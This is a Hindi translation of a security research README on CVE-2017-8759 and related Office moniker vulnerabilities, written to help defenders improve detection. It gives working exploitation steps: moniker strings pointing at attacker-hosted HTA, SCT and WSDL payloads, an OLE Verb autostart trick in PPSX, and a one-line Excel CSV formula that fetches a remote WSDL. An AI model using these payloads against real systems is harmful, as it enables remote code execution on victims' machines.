nccgroup/cve-2017-8759NCC Group द्वारा CVE-2017-8759 का विश्लेषण और शोषण, साथ ही आगे के परिष्कार
यह रेपो Microsoft PowerPoint के लिए CVE-2017-8759 के नमूना एक्सप्लॉइट्स के साथ-साथ एक विवरण भी शामिल करता है कि समान कमजोरियों का शोषण उन्हीं तकनीकों से कैसे किया गया था, और किया जा सकता है।
इस रेपो को प्रकाशित करने का उद्देश्य वैकल्पिक एक्सप्लॉइटेशन तकनीकों को उजागर करना है जिनके बारे में डिफेंडर वर्तमान में अनजान हो सकते हैं। इन वैकल्पिक तकनीकों को उजागर करके, हम आशा करते हैं कि डिफेंडर मजबूत डिटेक्शन लागू कर सकें और गलत सकारात्मक परिणामों (अन्य moniker एक्सप्लॉइट्स को गलती से CVE-2017-0199 के रूप में पहचानने के मामले में) और गलत नकारात्मक परिणामों (जहां केवल RTF डिटेक्शन पर ध्यान केंद्रित किया जाता है) दोनों से बच सकें।
अप्रैल में जब मुझे खबर मिली कि एक नई बिना पैच वाली कमजोरी का वास्तविक दुनिया में शोषण किया जा रहा है, तो मैंने एक्सप्लॉइट को फिर से बनाने का प्रयास किया ताकि कमजोरी सार्वजनिक होने से पहले ही डिटेक्शन नियम बनाए जा सकें। हालाँकि, उस समय मेरे पास केवल FireEye और McAfee ब्लॉग पोस्टों से कमजोरी का विवरण था। सार्वजनिक विवरण की कमी के कारण, मैं अंततः कमजोरी का शोषण एक पूरी तरह से अलग विधि से करने पहुँचा (जैसा कि बाद में पता चला), जो वास्तविक दुनिया में देखे गए "RTF URL Moniker" एक्सप्लॉइट द्वारा उपयोग की गई विधि से भिन्न थी।
लगभग एक महीने बाद, Haifei Li ने अपने SyScan360 वार्ता में दूसरी कमजोरी (उर्फ "PPSX Script Moniker") को उजागर किया, जिसे उन्होंने जनवरी 2017 में पहचाना और रिपोर्ट किया था। इसे भी उसी CVE-2017-0199 पैच के तहत ठीक किया गया था, लेकिन इसका शोषण (लेखक द्वारा और बाद में वास्तविक दुनिया में) PPSX फ़ाइल प्रारूप का उपयोग करके किया गया। इस बिंदु पर, मैं अभी भी PPSX के माध्यम से URL moniker बग का उपयोग करने वाले किसी भी वास्तविक-दुनिया के हमले से अनजान हूँ - हालाँकि दोनों बग एक ही CVE के तहत ठीक किए जाने के कारण, इन एक्सप्लॉइट्स की डिटेक्शन को लेकर कुछ भ्रम था (और अभी भी है) (इस पर बाद में और अधिक)।
अब सीधे सितंबर 2017 पर आते हैं, जब FireEye ने एक और कमजोरी खोजी जो Microsoft Word में RTF प्रारूप का उपयोग कर रही थी। इसने मुझे अपने पिछले "PPSX URL Moniker" एक्सप्लॉइट को फिर से देखने के लिए प्रेरित किया ताकि यह जांचा जा सके कि क्या नया "SOAP moniker" बग भी उसी PPSX तकनीक से शोषण योग्य था।
जैसा कि ऊपर उल्लेख किया गया है, पिछली कमजोरी (CVE-2017-0199) वास्तव में दो अलग-अलग कमजोरियाँ थीं, जिन्हें Microsoft ने उसी CVE संख्या के तहत पैच किया था। पहली (उर्फ "URL moniker" बग) का शोषण RTF का उपयोग करके किया गया था, जबकि दूसरी (उर्फ "script moniker" बग) ने वास्तव में पूरी तरह से अलग तकनीक का उपयोग किया और इसका शोषण OOXML प्रारूप, विशेष रूप से PPSX का उपयोग करके किया गया।
जैसा कि पहले भी उल्लेख किया गया है, OOXML तकनीक केवल script moniker कमजोरी के लिए विशिष्ट नहीं है और इसका उपयोग "URL moniker", "Script moniker" और नई "SOAP moniker" कमजोरी का शोषण करने के लिए किया जा सकता है।
OOXML में एक्सप्लॉइटेशन काफी सीधा है और कमजोर ऑब्जेक्ट को स्वचालित रूप से सक्रिय करने के लिए कुछ तरकीबों का लाभ उठाता है। पहले मैं URL moniker एक्सप्लॉइट को कवर करूँगा, और फिर समझाऊँगा कि इसे script और soap monikers (और भविष्य में संभावित रूप से और अधिक) दोनों के साथ काम करने के लिए कैसे अपडेट किया जा सकता है।
पहले एक फ़ाइल का लिंक एम्बेड किया जाना चाहिए (जिसे StdOleLink या OLE2Link कहा जाता है)। मैंने अपने एक्सप्लॉइट में एक PowerPoint फ़ाइल के लिंक का उपयोग किया - जैसा कि नीचे दिखाया गया है। मॉनिकर को सक्रिय करने के लिए बाद में इसकी आवश्यकता होती है।
लिंक रखे जाने के बाद, पथ को moniker स्ट्रिंग शामिल करने के लिए संशोधित करने की आवश्यकता है। "URL moniker" बग के मामले में, यह सीधे HTA फ़ाइल में URL जोड़ने जितना सरल है (यानी "http://attacker.com/evil.hta")। Script moniker संस्करण के लिए आप "script:https://attacker.com/evil.sct" स्ट्रिंग का उपयोग कर सकते हैं। लिंक किए गए ऑब्जेक्ट का फ़ाइल-पथ निम्नलिखित स्थान पर संग्रहीत होता है:
ppt\slides\_rels\slide1.xml.rels
लिंक किए गए ऑब्जेक्ट के सक्रिय होने पर कमजोरी को ट्रिगर करने के लिए इसे केवल moniker स्ट्रिंग में बदलना पर्याप्त है। हालाँकि, जब तक आप कोई अन्य तरकीब नहीं अपनाते, यह स्वचालित रूप से नहीं होता है।
ऑब्जेक्ट को स्वचालित रूप से सक्रिय करने के लिए, आप उस चीज़ का उपयोग कर सकते हैं जिसे "OLE Verb" कहा जाता है। सीधे शब्दों में कहें तो, यह PowerPoint को ऑब्जेक्ट को "सक्रिय" करने का कारण बनता है, IMoniker::BindToObject() विधि को कॉल करता है, जिसके परिणामस्वरूप अंततः आपका कोड निष्पादित होता है (मॉनिकर के आधार पर, इसके बाद विभिन्न पथ अपनाए जाते हैं)।
OLE Verb का उपयोग करने के लिए, बस एम्बेडेड ऑब्जेक्ट का चयन करें और यहाँ जाएँ:
Animations -> Add Animation -> OLE Action Verbs -> Open
OLE Verb एनीमेशन बन जाने के बाद, आप "Start: with previous" का चयन कर सकते हैं ताकि यह सुनिश्चित हो सके कि स्लाइडशो शुरू होते ही ऑब्जेक्ट सक्रिय हो जाए।
इस बिंदु पर, यदि आप दस्तावेज़ को PPTX के रूप में सहेजकर खोलना चुनते हैं, तो आपको लिंक अपडेट करने के लिए एक प्रॉम्प्ट दिखाई देगा। एक्सप्लॉइटेशन परिदृश्य के दृष्टिकोण से यह अवांछनीय है।
इससे बचने के लिए, आप फ़ाइल को इसके बजाय PPSX (PowerPoint slideshow) फ़ाइल के रूप में सहेज सकते हैं। इससे स्लाइडशो खोलने पर स्वचालित रूप से शुरू हो जाएगा (और इस प्रकार OLE Verb आपके कोड को निष्पादित करने के लिए ट्रिगर हो जाएगा)।
जैसा कि FireEye ब्लॉग पोस्ट में वर्णित है, कमजोरी वास्तव में Office में नहीं बल्कि .NET फ्रेमवर्क में है। यह कई address परिभाषाओं वाली WSDL फ़ाइल को पार्स करते समय कोड इंजेक्शन समस्या के कारण है। यदि CRLF अनुक्रम इंजेक्ट किया जाता है, तो उत्पन्न c# फ़ाइल में मनमाना कोड जोड़ना संभव है, जिसे बाद में DLL में संकलित किया जाता है और Office एप्लिकेशन द्वारा लोड किया जाता है।
यह बग स्वयं System.Runtime.Remoting के WsdlParser वर्ग के IsValidUrl विधि में मौजूद है। CVE-2017-8759 पैच से पहले, यह विधि CRLF वर्णों की जाँच करने में विफल रहती है और केवल अन-सैनिटाइज़्ड स्ट्रिंग लौटाती है (स्ट्रिंग के ठीक से कोटेड होने को सुनिश्चित करने के बाद), जिसे बाद में csc.exe द्वारा संकलन के लिए .cs फ़ाइल में लिखा जाता है। इसका मतलब है कि यदि कोई हमलावर \r\n युक्त URL पास करता है, तो वे उत्पन्न C# फ़ाइल में मनमाना कोड इंजेक्ट कर सकते हैं। CRLF इंजेक्शन के काम करने का कारण यह है कि आमतौर पर, जब कई address परिभाषाओं वाली WSDL फ़ाइल पार्स की जाती है, तो PrintClientProxy विधि नीचे दिखाए अनुसार बाद की परिभाषाओं को कमेंट करने का प्रयास करेगी।
अनपैच्ड IsValidUrl:
PrintClientProxy:
यहाँ समस्या यह है कि द्वितीयक address URL को कमेंट की गई पंक्ति में जोड़ने से पहले IsValidUrl अभी भी उस पर कॉल किया जाता है। यदि कोई हमलावर दूसरी address परिभाषा में CRLF वर्ण जोड़ता है, जब कोड IsValidUrl द्वारा पार्स किया जाता है, तो वे कमेंट की गई पंक्ति से बाहर निकलकर अपना स्वयं का C# कोड इंजेक्ट कर सकते हैं।
CVE-2017-8759 पैच के बाद, WsdlParser वर्ग में अब TransliterateString नामक एक नई विधि शामिल है। अब जब IsValidUrl कॉल किया जाता है, तो कोड पहले जाँचता है कि क्या बूलियन AppSettings.AllowUnsanitizedWSDLUrls सेट है। यदि यह true पर सेट है, तो कोड पैच से पहले वाला ही पथ अपनाता है (CRLF इंजेक्शन की अनुमति देता है)। हालाँकि, यदि यह false पर सेट है, तो नई TransliterateString विधि कॉल की जाती है। यह नई विधि किसी भी गैर-वर्णमाला वर्ण को एस्केप्ड यूनिकोड के रूप में एन्कोड करती है, जिससे यह सुनिश्चित होता है कि नई पंक्ति वर्ण इंजेक्ट नहीं किए जा सकते।
पैच्ड IsValidUrl:
TransliterateString:
पैच को प्रदर्शित करने के लिए, मैंने C# में एक सरल टेस्ट हार्नेस बनाया और CRLF वर्णों वाली स्ट्रिंग को पार्स करने का प्रयास किया। इसका आउटपुट नीचे दिखाया गया है। ध्यान दें कि जब पैच की गई विधि कॉल की जाती है और AllowUnsanitizedWSDLUrls को false पर सेट किया जाता है, तो स्ट्रिंग अब एन्कोड हो जाती है।
इस कमजोरी का शोषण कैसे करें, इसकी जाँच करते समय मैंने Office के बाहर कोड निष्पादन का परीक्षण करने के लिए एक टेस्ट हार्नेस बनाया। इसके लिए मैंने JScript के साथ GetObject विधि का उपयोग किया, हालाँकि आप soapsuds.exe का उपयोग कर सकते हैं। यह मैलवेयर नमूने की WSDL फ़ाइल के साथ परीक्षण किया गया था ताकि यह जांचा जा सके कि यह कैसे काम करता है और कमजोरी की पुष्टि की जा सके।
एक बार जब मेरे पास GetObject के साथ काम करने वाला एक्सप्लॉइट आ गया, तो मैंने पहले दिखाए अनुसार rels फ़ाइल को संशोधित किया ताकि "soap:wsdl=http://attacker.com/evil.whatever" के रूप में एक soap moniker शामिल किया जा सके।
एक्सप्लॉइट बनाने के बाद, मैंने इसे Virus Total पर अपलोड किया (जैसा मैंने पिछले नमूनों के साथ किया था) और कुछ आश्चर्यजनक परिणाम मिले। यह केवल एक AV इंजन द्वारा पहचाना गया, और गलती से इसे CVE-2017-0199 के रूप में पहचाना गया। मेरे द्वारा अपलोड किया गया एक अन्य नमूना भी CVE-2017-0199 के रूप में टैग किया गया दिखाई दिया। यह पिछले एक्सप्लॉइट्स के साथ समानताओं के कारण समझ में आता है, हालाँकि कुछ चिंता है कि इससे भ्रम हो सकता है, या सबसे खराब स्थिति में नए खोजे गए moniker एक्सप्लॉइट्स को पुरानी, पैच की गई कमजोरी मानकर अनदेखा किया जा सकता है।
पहले एक्सप्लॉइट फ़ाइलों वाले फ़ोल्डर में स्थानीय रूप से एक वेब-सर्वर शुरू करें:
python -m SimpleHTTPServer 80
अब exploit.ppsx फ़ाइल खोलें। यदि सब कुछ ठीक रहा, तो आपको PowerPoint को आपके स्थानीय फ़ाइल-सर्वर से logo.png और w00t.hta दोनों प्राप्त करते हुए देखना चाहिए, और calc.exe चलाया जाएगा।
Twitter पर PPSX एक्सप्लॉइट के बारे में पोस्ट करने के बाद, Jacob Soo ने मुझसे संपर्क किया और सुझाव दिया कि मैं Microsoft Excel में कमजोरी का शोषण करने का प्रयास करूँ। मैंने कोशिश की और निश्चित रूप से, वह सही थे - मैं एक ही प्रॉम्प्ट के साथ calc.exe चलाने में सक्षम था।
यह दिलचस्प है, जैसा कि पहले बताया गया है - CSV (और SLK फ़ाइलें) प्रोटेक्टेड मोड को ट्रिगर नहीं करती हैं। इसका मतलब है कि इंटरनेट स्थान से RTF, PPSX या CSV/SLK फ़ाइल भेजे जाने पर उपयोगकर्ता को प्रस्तुत किए जाने वाले प्रॉम्प्ट्स की संख्या बिल्कुल समान होती है (क्योंकि पूर्व प्रोटेक्टेड व्यू को ट्रिगर करते हैं)। इसके अलावा, सादा पाठ होने और आमतौर पर अपेक्षाकृत अहानिकर होने के कारण, CSV फ़ाइलें अक्सर परिधि सुरक्षा (जैसे वेब-प्रॉक्सी या ईमेल स्पैम फ़िल्टर) से आसानी से निकल जाती हैं।
Excel में इस बग का शोषण करना WSDL फ़ाइल का लिंक शामिल करने जितना सरल है। ध्यान दें कि नीचे दिए गए उदाहरण में, हम ProgID "GC" का उपयोग कर रहे हैं (केवल इसलिए क्योंकि यह सबसे छोटा था जो मुझे मिल सका), हालाँकि मॉनिकर को सक्रिय करने के लिए यह कोई भी मान्य ProgID हो सकता है।
=GC|'soap:wsdl=https://git.io/v5DMF '!''''
उपरोक्त स्ट्रिंग को CSV के रूप में सहेजना कमजोरी का शोषण करने के लिए पर्याप्त है - इतना छोटा कि ट्वीट किया जा सके! इसके अलावा, इसकी छोटी लंबाई के कारण डिटेक्शन सिग्नेचर बनाना कठिन है (हालाँकि स्पष्ट रूप से असंभव नहीं), और इस प्रकार मुझे लगता है कि यह डिफेंडर के लिए उजागर करने योग्य है ताकि Excel-आधारित हमलों की भविष्य में पहचान की जा सके।
Microsoft ने 12/09/2017 को इस कमजोरी के लिए एक पैच जारी किया।
CVE-2017-8759 वेरिएंट्स के लिए कुछ Yara नियम Florian Roth और Security Doggo द्वारा प्रकाशित किए गए हैं।
मैंने ये भी बनाए हैं: